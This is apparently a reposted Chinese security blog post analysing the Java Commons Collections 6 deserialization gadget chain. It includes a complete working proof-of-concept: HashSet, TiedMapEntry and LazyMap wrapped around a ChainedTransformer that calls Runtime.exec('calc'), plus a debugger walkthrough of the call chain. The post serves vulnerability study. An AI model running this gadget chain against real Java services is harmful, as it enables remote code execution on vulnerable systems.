zoukankan      html  css  js  c++  java
  • Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析

    0x00 前言

    其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException

    0x01 POC分析

    这里还是去简化一下POC代码,因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。

    package com.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections4.keyvalue.TiedMapEntry;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class cc6 {
    
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
    
                Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
    
                Transformer[] transformers=new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                };
    
                Map map=new HashMap();
                Map lazyMap=LazyMap.decorate(map,Testtransformer);
                TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
                HashSet hashSet=new HashSet(1);
                hashSet.add(tiedMapEntry);
                lazyMap.remove("test1");
    
                //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
                Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
                field.setAccessible(true);
                field.set(Testtransformer, transformers);
    
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
                objectOutputStream.writeObject(hashSet);
                objectOutputStream.close();
    
                ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
                objectInputStream.readObject();
    
        }
    }
    

    以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。

    能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。

    Map lazyMap=LazyMap.decorate(map,Testtransformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    

    这段代码也是在构造CC5链中出现的,将mapLazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntrygetValue就会在getValue内部去调用get方法。

    HashSet hashSet=new HashSet(1);
    hashSet.add(tiedMapEntry);
    lazyMap.remove("test1");
     //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
    
    

    这一步里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.removetest1给移除掉将不会进入到该判断语句里面去。

    Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
    field.setAccessible(true);
    field.set(Testtransformer, transformers);
    

    上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
    

    这一段代码。

    0x02 POC调试

    readObject复写点打个断点进行调试,也就是HashsetreadObject

    HashsetreadObject方法中,回去调用mapput方法。这里的map为Hashmap的对象,所以这里调用的是Hashmapput方法,跟进一下该方法。

    而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。

    跟进到方法里面会发现,方法内部还会去调用keyhashcode,而这里的keyTiedMapEntry的实例化对象。调用的则是TiedMapEntryhashcode。跟进一下hashcode方法。

    在此处就可以看到hashcode还会去调用getValue方法,下面的内容其实就和CC5的利用链一样了。

    来到getValue看看

    这里就会去调用this.map.get()方法,this.mapLazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。

    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    

    为了更清晰整一条利用链,再跟进一下LazyMap的get方法。

    这里在前面提到过,需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。

    其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。

    利用链

    HashSet.readObject->HashMap.put
    ->HashMap.hash->TiedMapEntry.hashCode
    ->TiedMapEntry.getValue->LazyMap.get
    ->ChainedTransformer.transform->InvokerTransformer.transform
    ->Runtime.exec
    

    0x03 结尾

    本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    svn命令
    Lambda 表达式
    JAVA 探究NIO
    JAVA I/O系统
    MySQL 锁
    spring boot 集成 zookeeper 搭建微服务架构
    架构演化
    JAVA 集合
    spring boot 发送邮件
    MySQL 隔离级别
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13892510.html
Copyright © 2011-2022 走看看